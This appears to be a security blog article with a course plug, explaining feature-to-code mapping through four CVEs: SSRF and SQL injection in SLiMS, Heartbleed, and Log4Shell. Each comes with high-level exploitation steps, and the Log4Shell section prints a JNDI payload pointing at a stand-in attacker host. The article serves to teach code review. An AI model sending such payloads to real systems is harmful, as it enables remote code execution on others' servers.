Source code security testing is more than just running automated scanners - it's about understanding the intricate relationship between features and their implementation.

Through my years leading security assessments across various organizations, I've learned that mastering this connection is often what separates routine code reviews from those that uncover critical vulnerabilities.

Features and Codes Mapping 

When we discuss about features and codes mapping, we're referring to a systematic approach to understanding our attack surface. This process isn't just bureaucratic documentation - it's a crucial security practice that enables teams to: 

  • Trace Security Requirements: Map security controls to their actual implementations, ensuring nothing gets lost in translation between design and deployment. I've seen countless vulnerabilities emerge simply because security requirements weren't properly tracked through implementation. 
  • Identify Potential Vulnerabilities: Understand where security assumptions may break down by analyzing feature interactions. Some of the most severe vulnerabilities I've encountered weren't in individual features, but in how they interacted with each other. 
  • Prioritize Code Reviews: Focus security efforts where they matter most. With limited resources, knowing which code segments handle sensitive features helps allocate review time effectively. 
  • Assess Security Impact: Quickly evaluate the real-world implications of discovered vulnerabilities based on affected features. This is crucial for accurate risk assessment and prioritization. 

CVE Examples

Let's explore some recent vulnerabilities where understanding feature-to-code relationships was crucial for both discovery and mitigation: 

1. CVE-2023-40969: Server-Side Request Forgery (SSRF) in SLiMS 

This vulnerability exists in the Senayan Library Management System (SLiMS) version 9 Bulian v9.6.1, specifically in the admin/modules/bibliography/pop_p2p.php file.  

The lack of proper input validation allows attackers to craft malicious XML content via the URI parameter, leading to SSRF attacks.  

Vulnerable Code

Explanation

  1. Parameter Retrieval: The script fetches the URI parameter from the HTTP GET request without validating its content. 
  2. Unvalidated Input Usage: The unvalidated URI is passed directly to the modsXMLsenayan class, which processes the XML content from the specified URI. 
  3. Potential SSRF: An attacker can supply a malicious URI, causing the server to make unintended requests to internal or external resources, leading to SSRF attacks. 

Exploitation Steps

  1. Identify the Vulnerable Endpoint: Locate the pop_p2p.php file within the SLiMS application, which processes user-supplied input without adequate validation. 
  2. Craft Malicious Input: Create an XML payload that includes a malicious uri parameter designed to force the server to make unintended requests. 
  3. Submit the Payload: Send the crafted XML data to the vulnerable endpoint, typically via an HTTP POST request. 
  4. Leverage SSRF: Utilize the server's ability to make requests to internal or external systems, potentially accessing sensitive information or services not directly exposed. 
  5. Achieve Unauthorized Actions: Depending on the server's network configuration, perform actions such as port scanning, accessing internal APIs, or retrieving metadata from cloud services. 

Concepts Involved

  • Server-Side Request Forgery (SSRF): An attack where the server is tricked into making HTTP requests to unintended locations, potentially leading to unauthorized access. 
  • Input Validation: The process of ensuring that user-supplied data is properly sanitized to prevent malicious input from causing unintended behaviour. 
  • XML Parsing: The method by which XML data is read and interpreted by the application, which, if improperly handled, can lead to vulnerabilities. 

2. CVE-2023-40970: SQL Injection in SLiMS

This vulnerability affects SLiMS version 9 Bulian v9.6.1, specifically in the admin/modules/circulation/loan_rules.php file. Inadequate validation of user input allows attackers to inject malicious SQL commands, leading to unauthorized database access.  

Vulnerable Code 

Explanation

  1. Unvalidated Input Assignment: User inputs from the $_POST array are directly assigned to the $data array without validation or sanitization. 
  2. Dynamic SQL Query Construction: The $sql variable is constructed by directly embedding user inputs into the SQL statement. 
  3. Unsafe Query Execution: The constructed SQL query is executed using $dbs->query($sql);, making the application susceptible to SQL Injection if malicious inputs are provided. 

Exploitation Steps

  1. Identify the Vulnerable Parameter: Determine which input fields in the loan_rules.php file are susceptible to SQL injection by testing various inputs. 
  2. Craft Malicious SQL Queries: Develop SQL statements that can be injected through the vulnerable parameter to manipulate the database. 
  3. Submit the Malicious Input: Enter the crafted SQL commands into the vulnerable input field or parameter. 
  4. Execute Unauthorized Database Actions: Achieve actions such as data retrieval, modification, or deletion, depending on the injected SQL commands. 
  5. Maintain Access: Potentially create backdoors or escalate privileges within the database for persistent access. 

Concepts Involved 

  • SQL Injection (SQLi): A code injection technique that exploits vulnerabilities in an application's software by inserting malicious SQL statements into an entry field for execution.
  • Input Sanitization: The practice of cleaning user input to prevent malicious data from causing harm, particularly in database queries.
  • Database Security: Measures taken to protect databases against compromises of their confidentiality, integrity, and availability.
Vulcanus: Secure Programming and Offensive code review course
Learn more about Code Analysis and even try to get your own CVE.

Explore the Course

3. CVE-2014-0160: Heartbleed Vulnerability in OpenSSL 

Heartbleed is a critical vulnerability in OpenSSL versions 1.0.1 through 1.0.1f, affecting the TLS/DTLS heartbeat functionality.  

It allows attackers to read the memory of affected systems, potentially exposing sensitive information such as private keys and user data. 

Vulnerable Code 

Explanation

  1. Heartbeat Request Parsing: The code reads the heartbeat message type (hbtype) and payload length (payload) from the incoming packet. 
  2. Pointer Assignment: pl is assigned to point to the payload data in the packet. 
  3. Insufficient Bounds Check: The condition if (1 + 2 + payload + 16 > s->s3->rrec.length) is intended to verify that the payload length is within the bounds of the received record length. However, this check is insufficient and can be bypassed with crafted packets. 
  4. Buffer Over-read: Due to the inadequate validation, an attacker can send a malicious heartbeat request with a large payload value, causing the server to read beyond the allocated buffer. This results in the server transmitting portions of its memory, potentially exposing sensitive information such as private keys, user credentials, and other confidential data. 

Exploitation Steps

  1. Identify Vulnerable Systems: Scan for servers running affected versions of OpenSSL that have the heartbeat extension enabled. 
  2. Craft Malicious Heartbeat Requests: Create specially crafted heartbeat requests that exploit the lack of bounds checking in the heartbeat implementation. 
  3. Send Malicious Requests: Transmit the crafted requests to the target server, prompting it to respond with memory contents. 
  4. Extract Sensitive Data: Analyze the server's responses to retrieve confidential information such as private keys, user credentials, or other in-memory data. 
  5. Utilize Compromised Data: Leverage the extracted information to impersonate users, decrypt communications, or perform other malicious activities. 

Concepts Involved

  • Buffer Over-Read: An anomaly where a program reads more data than intended, potentially exposing sensitive information. 
  • Transport Layer Security (TLS): A cryptographic protocol designed to provide secure communication over a computer network. 
  • Memory Management: The process of controlling and coordinating computer memory, including assigning portions to various running programs to optimize overall system performance. 

4. CVE-2021-44228 (Log4Shell) 

The Log4Shell vulnerability in Apache Log4j revealed how seemingly innocuous logging features can become critical security risks.  

The vulnerability in log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java allowed attackers to trigger remote code execution through carefully crafted log messages. 

Exploitation Steps

  1. Identify a Vulnerable Application: Find an application that uses a vulnerable version of Log4j 2 (versions 2.0-beta9 through 2.14.1). 
  2. Craft a Malicious Payload: Create a log message containing a JNDI lookup that references an attacker-controlled LDAP server. For example: ${jndi:ldap://attacker.com/a} 
  3. Set Up a Malicious LDAP Server: Configure an LDAP server to respond to the JNDI lookup by providing a reference to a Java class that, when loaded, executes the attacker's code. 
  4. Trigger the Vulnerability: Send the crafted log message to the vulnerable application, causing it to process the JNDI lookup and load the malicious code from the LDAP server. 
  5. Achieve Remote Code Execution: Once the application loads the malicious code, it executes the attacker's payload, leading to remote code execution.

Concepts Involved

  • Remote Code Execution (RCE): Exploiting vulnerabilities to run arbitrary code. 
  • Logging Security: Ensuring logging frameworks are configured securely. 
  • JNDI Injection: Manipulating Java Naming and Directory Interface lookups.

Conclusion

Features and codes mapping isn't just a security practice - it's a fundamental approach to understanding and protecting our systems.  

Through these real-world examples, we can see how this methodology helps identify and mitigate various types of vulnerabilities. 

By systematically mapping features to their implementations, security teams can:  

  • Identify potential security risks more effectively. 
  • Ensure comprehensive coverage of security requirements. 
  • Allocate resources on critical code areas. 
  • Quickly assess and respond to discovered vulnerabilities. 

The examples of CVE-2023-40969, CVE-2023-40970, CVE-2014-0160, and CVE-2021-44228 demonstrate the diverse ways this approach can uncover and prevent security issues.  

As our systems grow more complex, adopting this methodology becomes essential for robust security analysis.